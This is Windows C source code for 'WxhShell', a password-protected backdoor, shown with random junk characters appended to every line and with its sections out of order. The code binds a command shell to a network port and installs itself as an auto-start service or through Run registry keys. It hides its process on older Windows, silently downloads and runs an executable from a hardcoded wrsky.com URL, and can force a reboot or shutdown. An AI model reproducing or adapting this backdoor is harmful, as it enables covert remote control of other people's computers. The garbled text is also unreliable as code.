    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #1<Jwt+  
    else { IfzZ\x .  
    closesocket(wsh); -cs$E2 -  
    ExitThread(0); D,&o=EU  
    } Zg/ ],/`  
    break; z%44@TP  
    } Dio9'&DtC  
  // 获取shell X}G3>HcP  
  case 's': { cByUP#hW  
    CmdShell(wsh); |7@@~|A  
    closesocket(wsh); *D:uFo,xn  
    ExitThread(0); *@zya9y9q  
    break; X-}]?OOs  
  } ],xvhfZ"dn  
  // 退出 53O}`xX!6  
  case 'x': { hhcO ]*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =}m'qy  
    CloseIt(wsh); MHF7hk ps}  
    break; r l>e~i  
    } RE.t<VasP  
  // 离开 C[Nh>V7=  
  case 'q': { \3 M%vJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 26[m7\O  
    closesocket(wsh); ;QqC c!b  
    WSACleanup(); akV-|v_  
    exit(1); JHCXUT-r{  
    break; dz=pL$C  
        } meArS*d  
  } ;Wedj\Kkp  
  } erdA ?  
#v}pn2g%>  
  // 提示信息 +5qY*$dn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,B,:$G<  
} vG#,J&aW  
  } v#b(0G  
-Gd@baV  
  return; E4qQ  
} b3l~wp6>  
8;5@5Au  
// shell模块句柄 `C>De4nT@  
int CmdShell(SOCKET sock) ]y~"M  
{ yL"UBe}v  
STARTUPINFO si; GyLp&aa  
ZeroMemory(&si,sizeof(si)); )2: ,E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4v;KtD;M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !(#d 7R  
PROCESS_INFORMATION ProcessInfo; KSxZ4Y  
char cmdline[]="cmd"; (=t41-l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;>r E+k%_  
  return 0; OXD*ZKi8  
} BT* {&'\/  
%hN7K  
// 自身启动模式 J{e`P;ND  
int StartFromService(void) ]qO*(m:}o  
{ OSIf>1  
typedef struct t 4>\ ;  
{ %eW2w@8]  
  DWORD ExitStatus; ^17i98w  
  DWORD PebBaseAddress; ~w"e 2a  
  DWORD AffinityMask; +r$M 9  
  DWORD BasePriority; h_\OtoRa  
  ULONG UniqueProcessId; mV#U=zqb!S  
  ULONG InheritedFromUniqueProcessId; ]7J*(,sp  
}   PROCESS_BASIC_INFORMATION; /A1qTG=Br  
cd]def[d  
PROCNTQSIP NtQueryInformationProcess; A&L2&ofV&q  
^|ul3_'?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W #V`|JA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CM4#Nn=i~  
- sL4tMP  
  HANDLE             hProcess; !;E{D  
  PROCESS_BASIC_INFORMATION pbi; wH]Y1 m  
6@-O#,]J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LZ z]4Mf  
  if(NULL == hInst ) return 0; ?v}S9z  
w<Ot0&&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KZ$^Q<d^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Hk@LHC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !]l;n Fd  
g4}K6)@  
  if (!NtQueryInformationProcess) return 0; Nc:0opPM  
n |Q' >  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2aJ_[3p/h]  
  if(!hProcess) return 0; v?s%qb=T  
U)C>^ !Us  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ie}?}s  
!a^'Jbb  
  CloseHandle(hProcess); /kNSB;  
_6]c f!H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {)PgN  
if(hProcess==NULL) return 0; "HtaJVp//  
DT3koci(  
HMODULE hMod; BoP,MpF  
char procName[255]; 5q _n 69b  
unsigned long cbNeeded; r Fhi:uRV  
Cp^`-=r+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m(CAXq-t  
W3w$nV  
  CloseHandle(hProcess); )uC5  
1-~sj)*k  
if(strstr(procName,"services")) return 1; // 以服务启动 AQTV1f_  
jh"YHe/X  
  return 0; // 注册表启动 h7J4 p  
} U?A3>  
HiSNEp$-4$  
// 主模块 .05x=28n%  
int StartWxhshell(LPSTR lpCmdLine) aPm2\Sq$  
{ O:jaA3  
  SOCKET wsl; gb}>xO  
BOOL val=TRUE; C^7M>i  
  int port=0; csj 4?]gI  
  struct sockaddr_in door; )}1S `*J/O  
b_']S0$c\  
  if(wscfg.ws_autoins) Install(); `ZGKM>q`  
T[%@B"  
port=atoi(lpCmdLine); `c?8i  
5Y r$tl\k  
if(port<=0) port=wscfg.ws_port; bFsJqA.A  
}xpo@(e  
  WSADATA data; RKb (  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |vgYi  
Zb$P`~(%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U(5Yg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4q*mEV  
  door.sin_family = AF_INET; 5U6b\jxX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zqj EVVB  
  door.sin_port = htons(port);  >f*Zf(F  
.svlJSx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [U_  
closesocket(wsl); 8y'.H21:;  
return 1; VF:95F;@  
} \-CL}Z}S  
91M5F$  
  if(listen(wsl,2) == INVALID_SOCKET) { i/RA/q  
closesocket(wsl); WT jy"p*  
return 1; g[(Eh?]Sc  
} *Qy,?2  
  Wxhshell(wsl); aRcVoOq  
  WSACleanup(); 0gH;y+\=*  
e@{Rlz   
return 0; #sM*<2vj  
DhN<e7c`  
} *H~&hs>k  
3M5wF6nY[[  
// 以NT服务方式启动  I}u&iV`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y'76!Y  
{ `_!R;f  
DWORD   status = 0; U &RZx&W  
  DWORD   specificError = 0xfffffff; m-lTXA(  
<v3pI!)x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =H8Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R<;;Ph  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t^"8 v3'h  
  serviceStatus.dwWin32ExitCode     = 0; Zty9O8g  
  serviceStatus.dwServiceSpecificExitCode = 0; 23/;W|   
  serviceStatus.dwCheckPoint       = 0; sE!$3|Q  
  serviceStatus.dwWaitHint       = 0; HM &"2c  
3|=L1Pw#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c+501's  
  if (hServiceStatusHandle==0) return; i!yE#zew  
0}N"L ml  
status = GetLastError(); s f8F h  
  if (status!=NO_ERROR) 6Cgc-KNbk  
{ $^`@lyr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P.- `[  
    serviceStatus.dwCheckPoint       = 0; (: @7IWZf@  
    serviceStatus.dwWaitHint       = 0; ftD(ed  
    serviceStatus.dwWin32ExitCode     = status; a;=IOQ  
    serviceStatus.dwServiceSpecificExitCode = specificError;  bU$M)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ))4RgS$  
    return;  1t }  
  } "x O+  
z oZ10?ojC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UdcrX`^.  
  serviceStatus.dwCheckPoint       = 0; gl 27&'?E*  
  serviceStatus.dwWaitHint       = 0; -l ?\hmDl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xc,Wm/[  
} J$i.^|hE/  
GezMqt;2  
// 处理NT服务事件,比如:启动、停止 J=b 'b%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R)6"P?h._4  
{ ]E^)d|_  
switch(fdwControl) 5A+r^xN  
{ vrIWw?/z?  
case SERVICE_CONTROL_STOP: ;Q0H7)t:  
  serviceStatus.dwWin32ExitCode = 0; OJD!Ar8Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a?@lX>Z  
  serviceStatus.dwCheckPoint   = 0; a(lmm@;V<  
  serviceStatus.dwWaitHint     = 0; X=V2^zrt  
  { 8=OpX,t(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rUZ09>nDy  
  } +h8`8k'}-2  
  return; UmG|_7  
case SERVICE_CONTROL_PAUSE: BbhC 0q"J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .yB{+  
  break; RcOfesW o  
case SERVICE_CONTROL_CONTINUE: C(kL=WD   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EkoT U#w5  
  break; ?X$*8;==6  
case SERVICE_CONTROL_INTERROGATE: -|I_aOC@  
  break; h_6c9VI  
}; pd-I^Q3-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !V-(K_\t  
} >Q:h0b_$U  
q^h/64F  
// 标准应用程序主函数 7G%:ckg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [DvQk?,t  
{ o8~<t]Ejw  
$E}N`B7  
// 获取操作系统版本 \LM.>vJ  
OsIsNt=GetOsVer(); >L433qR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KPA.5,ai  
 %e(DPX  
  // 从命令行安装 YT6dI"48  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZqX p f  
(XEJd4r  
  // 下载执行文件 ]I\9S{?  
if(wscfg.ws_downexe) { Uh+6fE]p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]q/USVj{  
  WinExec(wscfg.ws_filenam,SW_HIDE); k:URP`w[X=  
} (*9-Fa  
OoQLR  
if(!OsIsNt) { OR}+) n{  
// 如果时win9x,隐藏进程并且设置为注册表启动 bu{dT8g'U  
HideProc(); E6zPN?\ <  
StartWxhshell(lpCmdLine); F>eo.|'  
} 9 dK`  
else !C ZFbz~:  
  if(StartFromService()) 6zI}?KZf  
  // 以服务方式启动 /7x1Z*Hg  
  StartServiceCtrlDispatcher(DispatchTable); gux?P2f  
else <`WcI`IA b  
  // 普通方式启动 d>V#?1$h  
  StartWxhshell(lpCmdLine); F?t;bV  
 3Hi8=*  
return 0; 6FY.kN\  
} }ld^zyL  
^U##9KkP  
LCW}1H:Q  
&Bqu2^^  
===========================================  HlEHk'  
dSe d 6  
l#Vg=zrT  
z0Z1J8Qq6.  
@2;cv?i)  
i8S=uJ]n  
" t%StBq(q  
qfjUJ/  
#include <stdio.h> $W%-Mm  
#include <string.h> D@kf^1G  
#include <windows.h> ;=WwJ Np~  
#include <winsock2.h> '4CD }  
#include <winsvc.h> MG~bDM4  
#include <urlmon.h> rQosI:$  
1iqgVby  
#pragma comment (lib, "Ws2_32.lib") ]CPF7Hf  
#pragma comment (lib, "urlmon.lib") y+KAL{AGK  
uW2  q\  
#define MAX_USER   100 // 最大客户端连接数 f Xh{ _>  
#define BUF_SOCK   200 // sock buffer ^?*<.rsG  
#define KEY_BUFF   255 // 输入 buffer 1 J}ML}h)  
s+(@UUl  
#define REBOOT     0   // 重启 vM50H  
#define SHUTDOWN   1   // 关机 [LO=k|&R  
i.\ e/9]f  
#define DEF_PORT   5000 // 监听端口 iB`EJftI!  
Mmg~Fn  
#define REG_LEN     16   // 注册表键长度 _!_1=|[  
#define SVC_LEN     80   // NT服务名长度 =2}V=E/85  
zRbY]dW  
// 从dll定义API 3W{ !\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9E NI%Jz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {h PB%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UZ#oaD8H6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Vf<q-3q  
;e< TEs  
// wxhshell配置信息 %NM={X|'  
struct WSCFG { M&)\PbMc  
  int ws_port;         // 监听端口 _EJPI  
  char ws_passstr[REG_LEN]; // 口令 3_`)QYU'  
  int ws_autoins;       // 安装标记, 1=yes 0=no \0vs93>?  
  char ws_regname[REG_LEN]; // 注册表键名 jAU&h@  
  char ws_svcname[REG_LEN]; // 服务名 N9*:]a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uP(t+}dQ+3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IUNr<w<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CD%Cb53  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XMdCQ=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .rS. >d^n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dMCoN8W  
bwj{5-FU  
}; (.X)=  
1 b 86@f   
// default Wxhshell configuration aOS,%J^ ?  
struct WSCFG wscfg={DEF_PORT, crN*eFeW  
    "xuhuanlingzhe", klH?!r&  
    1, K?r  
    "Wxhshell", E@yo/S  
    "Wxhshell", j=Izwt>   
            "WxhShell Service", +k~0&lZi  
    "Wrsky Windows CmdShell Service", %M))Ak4 ~a  
    "Please Input Your Password: ", Ln t 1  
  1, lRNm &3:-  
  "http://www.wrsky.com/wxhshell.exe", fx>U2  
  "Wxhshell.exe" )WInPW  
    }; o8|qT)O@U  
v$w}UC%uf  
// 消息定义模块 p|8ZHR+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b*H*(}A6"'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g7a446QR\K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h(<>s#=E  
char *msg_ws_ext="\n\rExit."; ;Rpib[m  
char *msg_ws_end="\n\rQuit."; 3W]gn8  
char *msg_ws_boot="\n\rReboot..."; `*BV@  
char *msg_ws_poff="\n\rShutdown..."; 6q>}M  
char *msg_ws_down="\n\rSave to "; &9|L Z9K  
,.}%\GhY  
char *msg_ws_err="\n\rErr!"; j/fniyJ)  
char *msg_ws_ok="\n\rOK!"; %ek0NBE7  
nO!&;E&  
char ExeFile[MAX_PATH]; RV);^, b  
int nUser = 0; p$qk\efv*4  
HANDLE handles[MAX_USER]; H%gAgXHn  
int OsIsNt; UoKVl-  
i q oXku  
SERVICE_STATUS       serviceStatus; bX,#z,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (CY D]n  
+:4>4=  
// 函数声明 3ce$eZE  
int Install(void); `-OzjbM  
int Uninstall(void); Ff(};$/& W  
int DownloadFile(char *sURL, SOCKET wsh); NkO+ )=  
int Boot(int flag); m#Z&05^  
void HideProc(void); `GdH ,:S>  
int GetOsVer(void); {Dk!<w I)  
int Wxhshell(SOCKET wsl); d;]m wLB0  
void TalkWithClient(void *cs); E #B$.K  
int CmdShell(SOCKET sock); J-<_e??  
int StartFromService(void); /I!62?)-*  
int StartWxhshell(LPSTR lpCmdLine); 3Ovx)qKxd  
,[zSz8R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;Q^>F6+_m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BxjSo^n  
(RV#piM  
// 数据结构和表定义 >}%#s`3W1_  
SERVICE_TABLE_ENTRY DispatchTable[] = AvB=/p@]  
{ IZ7o6Etti  
{wscfg.ws_svcname, NTServiceMain}, _ +NjfF|  
{NULL, NULL} 2xflRks  
}; ybw\^t  
pGjwI3_K  
// 自我安装 Yj/ o17  
int Install(void) 6]~/`6Dub  
{ \Ta5c31S+  
  char svExeFile[MAX_PATH]; !Q15qvRS  
  HKEY key; *DC/O( 0  
  strcpy(svExeFile,ExeFile); ]& ckq  
lnHY?y7{  
// 如果是win9x系统,修改注册表设为自启动 T3@2e0u )  
if(!OsIsNt) { >Zs!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;Vs2 e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pu]U_Ll@  
  RegCloseKey(key); wbrOL(q.m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hxH6Ii]\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U4fv$gV  
  RegCloseKey(key); !p!Qg1O6o  
  return 0; j1%8r*Jj  
    } |oLGc!i  
  } n:OXv}pv  
} #UoFU{6tM  
else { &:&l+  
GEF's#YWK  
// 如果是NT以上系统,安装为系统服务 j?m(l,YD|*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yRyXlZC  
if (schSCManager!=0) {$hWz(  
{ nPdkvs   
  SC_HANDLE schService = CreateService i.uyfV&F  
  ( -d A9x~o  
  schSCManager, R/Bjc}J'  
  wscfg.ws_svcname, $cHU,  
  wscfg.ws_svcdisp, kY\faWuR  
  SERVICE_ALL_ACCESS, "Gp Tmu?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w01[oU$x=  
  SERVICE_AUTO_START, z+7V}aPM  
  SERVICE_ERROR_NORMAL, bE.<vF&  
  svExeFile, R}gdN-941  
  NULL, \efDY[j/  
  NULL, S',h*e  
  NULL, cB){b'WJ  
  NULL, r=0PW_r:  
  NULL |ugdl|f  
  ); SyVXXk 0  
  if (schService!=0) #%@bZ f  
  { ?.Vuet  
  CloseServiceHandle(schService); iL);bv W  
  CloseServiceHandle(schSCManager); 1>rQ).eT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !DFTg 4xb  
  strcat(svExeFile,wscfg.ws_svcname); P"^Yx8L#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <q!HY~"V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,HTwEq>-G  
  RegCloseKey(key); 5?SE?VC=t  
  return 0; '1LN)Yw  
    } +bLP+]7oZ  
  } =o~+R\1ux+  
  CloseServiceHandle(schSCManager); yO7y`;Q(sF  
} DdI%TU K,  
} En9J7es_  
X-(( [A  
return 1; 81x/ bx@L%  
} :XFQ}Cl  
LF!KP  
// 自我卸载 \O"H#gt  
int Uninstall(void) y,`n9[$K\  
{ = K}Pfh  
  HKEY key; PL&> p M  
pLCj"D).M  
if(!OsIsNt) { j!i* &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8xAIn>,_  
  RegDeleteValue(key,wscfg.ws_regname); W7WHDL^  
  RegCloseKey(key); r4/b~n+*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kE'p=dXx  
  RegDeleteValue(key,wscfg.ws_regname); "[~yu* S  
  RegCloseKey(key); ]sb?lAxh{  
  return 0; 36(qe"s  
  } 8iaMr278W  
} &?bsBqpN  
} ~/K&=xE  
else { #rX ^)2  
ai$l7]7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pP":,8Q{  
if (schSCManager!=0) qfl!>  
{ KJoa^e;~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hbJy<e1W  
  if (schService!=0) =t-Ud^3  
  { yg'CL/P  
  if(DeleteService(schService)!=0) { W`9{RZ'  
  CloseServiceHandle(schService); vw!7f|Pg ~  
  CloseServiceHandle(schSCManager); "KK}} $>  
  return 0; ,H"}Rw  
  } S;#:~?dU  
  CloseServiceHandle(schService); a%m )8N;C  
  } 5*Zz_ .  
  CloseServiceHandle(schSCManager); ^2$b8]q  
} YU-wE';H6  
} mvT /sC7I  
~3j +hN8<  
return 1; oCOv 6(  
} 5 l8F.LtO\  
yJC: bD1xi  
// 从指定url下载文件 /c=8$y\%@  
int DownloadFile(char *sURL, SOCKET wsh) >oJab R  
{ c Q-#]  
  HRESULT hr; A'jL+dI.  
char seps[]= "/"; W)r|9G8T  
char *token; mv:@D  
char *file; u-iQ  
char myURL[MAX_PATH]; + >dC  
char myFILE[MAX_PATH]; jm<^WQ%Cc  
0qFO+nC  
strcpy(myURL,sURL); ) 6QJZ$  
  token=strtok(myURL,seps); jW8ad{  
  while(token!=NULL) 8/R$}b><  
  { P{K\}+9F   
    file=token; B"> Ko3  
  token=strtok(NULL,seps); [rcM32  
  } :!Q(v(M  
Pzzzv^+  
GetCurrentDirectory(MAX_PATH,myFILE); 4K:Aqqhds  
strcat(myFILE, "\\"); Cj~e` VRhk  
strcat(myFILE, file); W895@  
  send(wsh,myFILE,strlen(myFILE),0); >Vq07R  
send(wsh,"...",3,0); /'DAB**  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +sn0bi/rG  
  if(hr==S_OK) v2]N5  
return 0; OCdX'HN5Y  
else ;U?=YSHk7  
return 1; W#g!Usf:/  
I_8 n>\u  
} }o!b3*#  
WP\kg\o  
// 系统电源模块 j7g>r/1eE  
int Boot(int flag) ^^ix4[1$Z  
{ +pq=i  
  HANDLE hToken; ,|$1(z*a{c  
  TOKEN_PRIVILEGES tkp; 9s5s;ntz"  
ck `td%  
  if(OsIsNt) { SbUac<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sqhIKw@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 63\ CE_p  
    tkp.PrivilegeCount = 1; j-J/yhWO&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [g"nu0sOK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B=W#eu <1  
if(flag==REBOOT) { :dipk,b?n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mm#UaEp  
  return 0; :yJ#yad  
} 3<)][<Ud  
else { (bI/s'?K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Fg p|gw4  
  return 0; u{uqK7]+  
} 90abA,U@  
  } :&&s*_  
  else { 5,4" CF$  
if(flag==REBOOT) { J( ]b1e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v\9f 8|K  
  return 0; *\:sHVyG(  
} a6h+?Q7uF  
else { `j'1V1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |AExaO"jk  
  return 0; T-4dD  
} 3jfAv@I~  
} wU'+4N".  
J=kf KQV  
return 1; +pK35u  
} EFtn !T  
3hJ51=_0^  
// win9x进程隐藏模块 s."N7F  
void HideProc(void) b~<V}tJ  
{ zI ^:{]p  
WaX!y$/z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Dby|l#X  
  if ( hKernel != NULL ) dlZ2iDQ%  
  { dhP")@3K;p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '?I3&lYz{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Lf<urIF  
    FreeLibrary(hKernel); s4f{ziLp  
  } PpLh j  
#t Pc<p6m  
return; @[\zO'|  
} EUrIh2.Z  
,qB@agjvo<  
// 获取操作系统版本 e+#k\x   
int GetOsVer(void) Ht}?=ZzW  
{ Z-}A "n  
  OSVERSIONINFO winfo; q l5&&e=-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W4P\HM>2  
  GetVersionEx(&winfo); <h+UC# .x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FD%OG6db];  
  return 1; 'bH~KK5  
  else 8yOhKEPX  
  return 0; o+k*ia~Fa  
} ZjY?T)WE9  
A ^hafBa  
// 客户端句柄模块 u!+;Iy7  
int Wxhshell(SOCKET wsl) o)b-fAd@$  
{ `l70i2xcj  
  SOCKET wsh; V#Y"0l+~  
  struct sockaddr_in client; V4Qy^nn1  
  DWORD myID; "85)2*+  
e1V1Ae  
  while(nUser<MAX_USER) qOQ8a:]?  
{ +o,f:Ih  
  int nSize=sizeof(client); %)d7iT~M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `25<;@  
  if(wsh==INVALID_SOCKET) return 1; )3|a_   
p74Nd4U$s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  |#xBC+  
if(handles[nUser]==0) 3H>\hZ  
  closesocket(wsh); P%R9\iajH  
else ;ioF'ov  
  nUser++; Zf??/+[  
  } BVus3Y5IJQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BSr#;;\  
c1R[Hck  
  return 0; PN J&{4wY  
} HHgv, bC!  
23ho uS   
// 关闭 socket spQr1hx<  
void CloseIt(SOCKET wsh) ^)`e}}  
{ 2"}Vfy  
closesocket(wsh); Ed_Fx'  
nUser--; 5~[][VV^  
ExitThread(0); F]N?_ bo  
} 5V/]7>b1  
,|#biT-<T  
// 客户端请求句柄 @0tX ,Z9  
void TalkWithClient(void *cs) eQ[}ALIq  
{ ;jPiD`Kyv  
f }.t  
  SOCKET wsh=(SOCKET)cs; H|`D3z.c  
  char pwd[SVC_LEN]; V4n;N  
  char cmd[KEY_BUFF]; +l]> (k.2  
char chr[1]; @a=jSB#B  
int i,j; E 8$S0u;`  
y5^OD63s  
  while (nUser < MAX_USER) { 8NNs_~+x}  
;Vf{3  
if(wscfg.ws_passstr) { NCo!n$O1~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8B!QqLqK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {+5Ud#\y  
  //ZeroMemory(pwd,KEY_BUFF); Q_0_6,Opb  
      i=0; 23'<R i  
  while(i<SVC_LEN) { _2<UcC~  
4Xwb`?}-  
  // 设置超时  VS7  
  fd_set FdRead; U ){4W0  
  struct timeval TimeOut; 3=Uyt  
  FD_ZERO(&FdRead); ?h| DeD!s  
  FD_SET(wsh,&FdRead); [yc7F0Aw  
  TimeOut.tv_sec=8; =C|^C3HK  
  TimeOut.tv_usec=0; xwwL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $n47DW &  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z?&ZgaSz  
/m^G 99N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HvZSkq^  
  pwd=chr[0]; |-cXb.M[  
  if(chr[0]==0xd || chr[0]==0xa) { Z@*!0~NH=4  
  pwd=0; *<"{(sAvk  
  break; *p\fb7Pu_3  
  } D=.Ob<m`Z  
  i++; k f|J  
    } i]@k'2N  
NweGK  
  // 如果是非法用户,关闭 socket im)r4={ 9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (WY9EJ<s,  
} v:w^$]4  
NMC0y|G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V_n tS& 2o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t0/Ol'kgs  
cBOt=vg,5  
while(1) { Rz&}e@stl  
,Qo:]Mj  
  ZeroMemory(cmd,KEY_BUFF); :v$)Z~  
,iZKw8]f  
      // 自动支持客户端 telnet标准   c7WOcy@M  
  j=0; ,":_CY4(  
  while(j<KEY_BUFF) { t56PzT'M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {%&04yq+  
  cmd[j]=chr[0]; \O,yWyU4  
  if(chr[0]==0xa || chr[0]==0xd) { T#I}w\XlhP  
  cmd[j]=0; 4+p1`  
  break; ^q%f~m,O<  
  } U.I 7p  
  j++; 4v{Ye,2  
    } _)YB*z5  
U17=/E  
  // 下载文件 &%(SkL_]  
  if(strstr(cmd,"http://")) { *%atE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l0ZK)  
  if(DownloadFile(cmd,wsh)) L`9.Gf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?=-/5A4K  
  else y4=T0[ V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F8/n;  
  } & \"cV0  
  else { >f1fvv6  
`JGW8 _  
    switch(cmd[0]) { %t74*cX  
  #~qza ETv,  
  // 帮助 fwUF5Y  
  case '?': { $DnR[V}rR!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &wu1Zz[qcz  
    break; ^AXH}g  
  } _c:th{*  
